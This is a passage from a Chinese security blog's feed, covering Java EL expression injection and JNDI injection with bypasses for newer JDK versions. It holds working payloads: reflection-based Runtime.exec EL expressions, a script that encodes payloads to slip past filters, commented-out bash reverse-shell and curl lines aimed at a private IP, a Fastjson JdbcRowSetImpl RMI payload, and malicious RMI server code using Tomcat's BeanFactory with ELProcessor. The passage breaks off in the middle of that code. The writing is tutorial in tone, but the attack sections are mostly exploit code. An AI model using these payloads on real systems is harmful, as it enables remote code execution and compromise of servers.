类</td></tr><tr><td>初始化参数</td><td>initParam</td><td>按名称存储 Web 应用程序上下文初始化参数的 Map 类</td></tr></tbody></table><p>在 EL 注入中，产生的原因就是把用户输入作为 EL 表达式内容来执行，通常使用方法</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">javax.el.ExpressionFactory.createValueExpression()</span><br><span class="line">javax.el.ValueExpression.getValue()</span><br></pre></td></tr></table></figure><p>如以下代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> de.odysseus.el.ExpressionFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> de.odysseus.el.util.SimpleContext;</span><br><span class="line"><span class="keyword">import</span> Javax.el.*;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">        ExpressionFactory factory = <span class="keyword">new</span> ExpressionFactoryImpl();</span><br><span class="line">        SimpleContext context = <span class="keyword">new</span> SimpleContext();</span><br><span class="line">        String pl = <span class="string">"ABC $&#123;true.toString().toUpperCase()&#125;"</span>;</span><br><span class="line">        ValueExpression e = factory.createValueExpression(context, pl, String<span class="class">.<span class="keyword">class</span>)</span>;</span><br><span class="line">        System.out.println(e.getValue(context));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>常用 poc：</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//对应于JSP页面中的pageContext对象（注意：取的是pageContext对象）</span></span><br><span class="line">$&#123;pageContext&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取Web路径</span></span><br><span class="line">$&#123;pageContext.getSession().getServletContext().getClassLoader().getResource(<span class="string">""</span>)&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//文件头参数</span></span><br><span class="line">$&#123;header&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取webRoot</span></span><br><span class="line">$&#123;applicationScope&#125;</span><br></pre></td></tr></table></figure><p>利用反射实现命令执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;pageContext.setAttribute(&quot;a&quot;,&quot;&quot;.getClass().forName(&quot;java.lang.Runtime&quot;).getMethod(&quot;exec&quot;,&quot;&quot;.getClass()).invoke(&quot;&quot;.getClass().forName(&quot;java.lang.Runtime&quot;).getMethod(&quot;getRuntime&quot;).invoke(null),&quot;open -a Calculator.app&quot;))&#125;</span><br></pre></td></tr></table></figure><p>EL + JS 引擎实现命令执行</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;<span class="string">''</span>.getClass().forName(<span class="string">"javax.script.ScriptEngineManager"</span>).newInstance().getEngineByName(<span class="string">"JavaScript"</span>).eval(<span class="string">"java.lang.Runtime.getRuntime().exec('open -a Calculator.app')"</span>)&#125;</span><br></pre></td></tr></table></figure><h2 id="0x04-EL-绕过与防御"><a href="#0x04-EL-绕过与防御" class="headerlink" title="0x04 EL 绕过与防御"></a>0x04 EL 绕过与防御</h2><p><strong>绕过</strong></p><p>通过下面这段 EL，能够获取字符 <code>C</code> 则同理可以获取任意字符串</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;true.toString().charAt(0).toChars(67)[0].toString()&#125;</span><br></pre></td></tr></table></figure><p>利用以上原理，通过 charAt 与 toChars 获取字符，在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤</p><p>生成 paylaod 脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding: utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#payload = "bash$IFS-i$IFS&gt;&amp;$IFS/dev/tcp/192.168.169.112/7777$IFS0&gt;&amp;1"</span></span><br><span class="line"><span class="comment">#payload = "bash$IFS-c$IFS'curl 192.168.169.112:7777'"</span></span><br><span class="line"><span class="comment">#exp = '$&#123;pageContext.setAttribute("%s","".getClass().forName("%s").getMethod("%s","".getClass()).invoke("".getClass().forName("%s").getMethod("%s").invoke(null),"%s"))&#125;' % ('a','java.lang.Runtime','exec','java.lang.Runtime','getRuntime','open -a Calculator.app')</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encode</span><span class="params">(payload)</span>:</span></span><br><span class="line">encode_payload = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, len(payload)):</span><br><span class="line"><span class="keyword">if</span> i == <span class="number">0</span>:</span><br><span class="line">encode_payload += <span class="string">"true.toString().charAt(0).toChars(%d)[0].toString()"</span> % ord(payload[<span class="number">0</span>])</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">encode_payload += <span class="string">".concat(true.toString().charAt(0).toChars(%d)[0].toString())"</span> % ord(payload[i])</span><br><span class="line"><span class="keyword">return</span> encode_payload</span><br><span class="line"></span><br><span class="line">exp = <span class="string">'$&#123;pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))&#125;'</span> % (encode(<span class="string">'a'</span>),encode(<span class="string">'java.lang.Runtime'</span>),encode(<span class="string">'exec'</span>),encode(<span class="string">'java.lang.Runtime'</span>),encode(<span class="string">'getRuntime'</span>),encode(<span class="string">'open -a Calculator.app'</span>))</span><br><span class="line"></span><br><span class="line">print(exp)</span><br></pre></td></tr></table></figure><p>得到：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),&quot;&quot;.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),&quot;&quot;.getClass()).invoke(&quot;&quot;.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))&#125;</span><br></pre></td></tr></table></figure><p><strong>防御</strong></p><ul><li>过滤敏感内容</li><li>使用其它方法</li><li>在 JSP 中加入<code>&lt;%@ page isELIgnored=&quot;false&quot; %&gt;</code> 禁用</li></ul><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://www.mi1k7ea.com/2020/04/26/浅析EL表达式注入漏洞/" target="_blank" rel="noopener">https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</a></p><p><a href="https://blog.csdn.net/qyqingyan/article/details/20606845" target="_blank" rel="noopener">https://blog.csdn.net/qyqingyan/article/details/20606845</a></p><p><a href="https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass" target="_blank" rel="noopener">https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;学习 Java EL 表达式注入&lt;/p&gt;
    
    </summary>
    
    
      <category term="EL" scheme="http://j0k3r.top/tags/EL/"/>
    
      <category term="Java" scheme="http://j0k3r.top/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title>Java JNDI 注入原理与高 JDK 版本绕过</title>
    <link href="http://j0k3r.top/2020/08/11/java-jndi-inject/"/>
    <id>http://j0k3r.top/2020/08/11/java-jndi-inject/</id>
    <published>2020-08-10T16:00:00.000Z</published>
    <updated>2020-08-30T15:26:38.085Z</updated>
    
    <content type="html"><![CDATA[<p>学习 Java JNDI 注入</p><a id="more"></a><h2 id="0x01-JNDI-注入原理"><a href="#0x01-JNDI-注入原理" class="headerlink" title="0x01 JNDI 注入原理"></a>0x01 JNDI 注入原理</h2><h3 id="1-什么是-JNDI-？"><a href="#1-什么是-JNDI-？" class="headerlink" title="1. 什么是 JNDI ？"></a>1. 什么是 JNDI ？</h3><p><strong>Java Naming and Directory Interface (JNDI)，Java 命名和目录接口</strong></p><p>客户端可以使用 JNDI 通过名称来发现和查找数据和对象，这些要查找对象可以存储在不同的命名或目录服务中，比如  Remote Method Invocation (RMI)，Common Object Request Broker Architecture (CORBA)， Lightweight Directory Access Protocol (LDAP) 或者 Domain Name Service (DNS)</p><p>官方结构图如下：</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/jndiarch.jpg" alt="img"></p><p><strong>Remote Method Invocation (RMI)，远程方法调用</strong></p><p>这个概念和 RPC 有点相似，但当然是不一样的，RPC 是 Remote Procedure Call，即远程过程调用，RMI 是远程方法调用，是<strong>面向对象</strong>的，以对象作为参数，<a href="https://www.geeksforgeeks.org/difference-between-rpc-and-rmi/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/difference-between-rpc-and-rmi/</a></p><p>JAVA 的 RMI 依赖的通信协议为 JRMP (Java Remote Message Protocol ，Java 远程消息交换协议) ，而且在 RMI 中对象通过序列化的方式进行编码传输</p><p><strong>RMI 的远程方法调用过程</strong></p><p>RMI 是如何调用远程方法的呢，难道是把远程对象下载到客户端？RMI 确实传递了一个对象，但不是要使用的远程对象，而是 stub 对象， Java RMI stubs 是一个特殊类，用于客户端调用远程对象方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/codebase-2.gif" alt="the stub downloadling process"></p><p>上图为客户端获取 Java RMI stubs 的过程 ，stub 中含有远程对象的通信地址和端口等信息，调用过程如下：</p><ol><li><p>客户端调用 stub 上的方法</p></li><li><p>stub 连接到服务器，提交参数</p></li><li><p>服务器执行对应的方法，返回结果</p></li><li><p>stub 将结果交给客户端</p></li></ol><p>图中的 RMI Registry 即为 RMI 注册表，客户端连接后，用来返回远程对象的 stub，默认监听在 1099 端口</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        Hello hello = <span class="keyword">new</span> HelloImpl();</span><br><span class="line">        Registry registry = <span class="keyword">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 创建Registry</span></span><br><span class="line">            registry = LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//绑定远程对象到 Registry</span></span><br><span class="line">        registry.bind(<span class="string">"hello"</span>, hello);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (RemoteException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (AlreadyBoundException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>客户端查询</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Registry registry = LocateRegistry.getRegistry(<span class="string">"remote_host"</span>, <span class="number">1099</span>);</span><br><span class="line"><span class="comment">// 获取远程对象的引用</span></span><br><span class="line">Hello hello = (Hello) registry.lookup(<span class="string">"hello"</span>);</span><br><span class="line">hello.sayHello(<span class="string">"hello"</span>);</span><br></pre></td></tr></table></figure><h3 id="2-JNDI-References-注入"><a href="#2-JNDI-References-注入" class="headerlink" title="2. JNDI References 注入"></a>2. JNDI References 注入</h3><p>所谓的 JNDI 注入就是控制 lookup 函数的参数，这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象，从而执行代码，完成利用</p><p>在 JNDI 服务中，通过绑定一个外部远程对象让客户端请求，从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。</p><p>具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时，则可以从其他服务器上加载 class 字节码文件来实例化</p><p>Reference 类常用属性：</p><ul><li>className  远程加载时所使用的类名</li><li>classFactory  加载的 class 中需要实例化类的名称</li><li>classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议</li></ul><p>比如：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Reference reference = <span class="keyword">new</span> Reference(<span class="string">"Exploit"</span>,<span class="string">"Exploit"</span>,<span class="string">"http://evilHost/"</span> );</span><br><span class="line">registry.bind(<span class="string">"Exploit"</span>, <span class="keyword">new</span> ReferenceWrapper(reference));</span><br></pre></td></tr></table></figure><p>此时，假设使用 rmi 协议，客户端通过 lookup 函数请求上面 bind 设置的 Exploit</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Context ctx = <span class="keyword">new</span> InitialContext();</span><br><span class="line">ctx.lookup(<span class="string">"rmi://evilHost/Exploit"</span>);</span><br></pre></td></tr></table></figure><p> 因为绑定的是 Reference 对象，客户端在本地 CLASSPATH 查找 Exploit 类，如果没有则根据设定的 Reference 属性，到URL： <a href="http://evilHost/Exploit.class" target="_blank" rel="noopener">http://evilHost/Exploit.class</a> 获取构造对象实例，构造方法中的恶意代码就会被执行</p><h3 id="3-Fastjson-JdbcRowSetImpl-反序列化利用"><a href="#3-Fastjson-JdbcRowSetImpl-反序列化利用" class="headerlink" title="3. Fastjson JdbcRowSetImpl 反序列化利用"></a>3. Fastjson JdbcRowSetImpl 反序列化利用</h3><p>这里以 Fastjson 为例，利用 JNDI 注入和 JdbcRowSetImpl 利用链实现 RCE</p><blockquote><p>Fastjson 是 Alibaba 的一个 JSON 库 <a href="https://github.com/alibaba/fastjson" target="_blank" rel="noopener">https://github.com/alibaba/fastjson</a></p></blockquote><p>通过 <a href="https://github.com/CaijiOrz/fastjson-1.2.47-RCE" target="_blank" rel="noopener">https://github.com/CaijiOrz/fastjson-1.2.47-RCE</a> 中的 marshalsec-0.0.3-SNAPSHOT-all.jar 快速开启 RMI 或者 LDAP 服务</p><p>然后在 Exploit.class 所在的目录开启一个 HTTP 服务，再 nc 监听一个端口接收反弹 shell 即可</p><p>Payload:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="attr">"name"</span>: &#123;</span><br><span class="line">        <span class="attr">"@type"</span>: <span class="string">"java.lang.Class"</span>,</span><br><span class="line">        <span class="attr">"val"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">"x"</span>: &#123;</span><br><span class="line">        <span class="attr">"@type"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>,</span><br><span class="line">        <span class="attr">"dataSourceName"</span>: <span class="string">"rmi://192.168.169.112:1099/Exploit"</span>,</span><br><span class="line">        <span class="attr">"autoCommit"</span>: <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>成功反弹 shell</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200806184550746.png" alt="image-20200806184550746"></p><p>该漏洞环境的 Java 版本是 openjdk 1.8.0_102，实际环境中在目标服务器上经常会遇到高版本 jdk，</p><p>Oracle  JDK 6u45、7u21 之后：</p><p>java.rmi.server.useCodebaseOnly 的默认值被设置为 true</p><p>禁用自动加载远程类文件，仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载</p><p><a href="https://www.oracle.com/java/technologies/javase/6u45-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/6u45-relnotes.html</a></p><p><a href="https://www.oracle.com/java/technologies/javase/7u21-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/7u21-relnotes.html</a></p><p>RMI + JNDI References</p><p>Oracle  JDK 6u141、7u131、8u121之后：</p><p>增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项，默认值为 false</p><p>不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类 </p><p><a href="https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141</a></p><p><a href="https://www.oracle.com/java/technologies/javase/7u131-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/7u131-relnotes.html</a></p><p><a href="https://www.oracle.com/java/technologies/javase/8u121-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/8u121-relnotes.html</a></p><p><a href="https://www.oracle.com/java/technologies/javase/6-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/6-relnotes.html</a></p><p>LDAP + JNDI References</p><p>Oracle  JDK 11.0.1、8u191、7u201、6u211之后:</p><p>设置 com.sun.jndi.ldap.object.trustURLCodebase  默认为 false</p><p>禁止 LDAP 协议使用远程 codebase</p><p><a href="https://www.oracle.com/java/technologies/javase/11u-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/11u-relnotes.html</a></p><p><a href="https://www.oracle.com/java/technologies/javase/8u-relnotes.html" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/8u-relnotes.html</a></p><p><a href="https://www.oracle.com/java/technologies/javase/7-support-relnotes.html#R170_201" target="_blank" rel="noopener">https://www.oracle.com/java/technologies/javase/7-support-relnotes.html#R170_201</a></p><p>关于 codebase 的官方文档：<a href="https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html" target="_blank" rel="noopener">https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html</a></p><p>能看出使用 LDAP 攻击的话，允许的 JDK 版本相对 RMI 要高一些，适用性会更强一些，只需要将 RMI 服务换成 LDAP 即可，同时 lookup 函数中的地址类型也要修改</p><h3 id="4-JDNI-注入在高版本-JDK-的绕过"><a href="#4-JDNI-注入在高版本-JDK-的绕过" class="headerlink" title="4. JDNI 注入在高版本 JDK 的绕过"></a>4. JDNI 注入在高版本 JDK 的绕过</h3><p>因为高版本禁止远程加载，那就在目标本地的 classpath（一组目录的集合，用于 jvm 搜索 class） 中找一个类作为恶意的 Reference Factory 工厂类，利用这个本地 Factory 类执行命令，或者直接构造恶意的序列化对象，利用反序列化Gadget完成利用，因为 JNDI 注入会对该对象进行反序列化</p><p>即：</p><ul><li>利用本地 Class 作为 Reference Factory</li><li>利用LDAP返回序列化数据，触发本地Gadget</li></ul><h4 id="（1）利用本地-Class-作为-Reference-Factory"><a href="#（1）利用本地-Class-作为-Reference-Factory" class="headerlink" title="（1）利用本地 Class 作为 Reference Factory"></a>（1）利用本地 Class 作为 Reference Factory</h4><p>满足要求的工厂类条件：</p><ol><li>存在于目标本地的 CLASSPATH 中</li><li>实现 javax.naming.spi.ObjectFactory 接口</li><li>少存在一个 getObjectInstance() 方法</li></ol><p>而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择</p><p>getObjectInstance 方法如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807173228459.png" alt="image-20200807173228459"></p><p>上图 119 行，传入的 Reference为 ResourceRef 类，后面通过反射的方式实例化 Reference 所指向的任意 Bean Class，调用 setter 方法为所有的属性赋值，该 Bean Class 的类名、属性、属性值，全都来自于 Reference 对象</p><p>再看后面代码</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-jndi-inject.assets/image-20200807181110449.png" alt="image-20200807181110449"></p><p>因为是 newInstance，所以只能调用无参构造，这就要求目标 class 得有无参构造方法，上面图中 “forceString” 可以给属性强制指定一个 setter 方法，参数为一个 String 类型</p><p>于是找到 javax.el.ELProcessor 作为目标 class，利用 el 表达式执行命令，工具  <a href="https://github.com/welk1n/JNDI-Injection-Bypass" target="_blank" rel="noopener">https://github.com/welk1n/JNDI-Injection-Bypass</a> 中的 EvilRMIServer.java 部分代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> ReferenceWrapper <span class="title">execByEL</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException, NamingException</span>&#123;</span><br><span class="line">    ResourceRef ref = <span class="keyword">new</span> ResourceRef(<span class="string">"javax.el.ELProcessor"</span>, <span class="keyword">null</span>, <span class="string">""</span>, <span class="string">""</span>, <span class="keyword">true</span>,<span class="string">"org.apache.naming.factory.BeanFactory"</span>,<span class="keyword">null</span>);</span><br><span class="line">    ref.add(<span class="keyword">new</span> StringRefAddr(<span class="string">"forceString"</span>, <span class="string">"x=eval"</span>));</span><br><span class="line">    ref.add(<span class="keyword">new</span> StringRefAddr(<span class="string">"x"</span>, String.format(</span><br><span class="line">            <span class="string">"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval("</span> +</span><br><span class="line">                    <span class="string">"\"java.lang.Runtime.getRuntime().exec('%s')\""</span> +</span><br><span class="line">                    <span class="string">")"</span>,</span><br><span class="line">            commandGenerator.getBase64CommandTpl()</span><br><span class="line">    )));</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> ReferenceWrapper(ref);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从代码中能看出该工具还有另一个利用方法，groovy.lang.GroovyShell，原理也是类似的</p><p>利用条件：</p><p>目标环境含有以下依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.tomcat.embed<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>tomcat-embed-el<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>8.5.15<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>因为要使用 javax.el.ELProcessor，所以需要 Tomcat 8+，SpringBoot 1.2.x+</p><p>恶意 RMI 服务代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">App</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">( String[] args )</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Registry registry = LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line">            ResourceRef resourceRef = <span class="keyword">new</span> ResourceRef(<span class="string">"javax.el.ELProcessor"</span>,<span class="keyword">null</span>,<span class="string">""</span>,<span class="string">""</span>,<span class="keyword">true</span>,<span class="string">"org.apache.naming.factory.BeanFactory"</span>,<span class="keyword">null</span>);</span><br><span class="line">            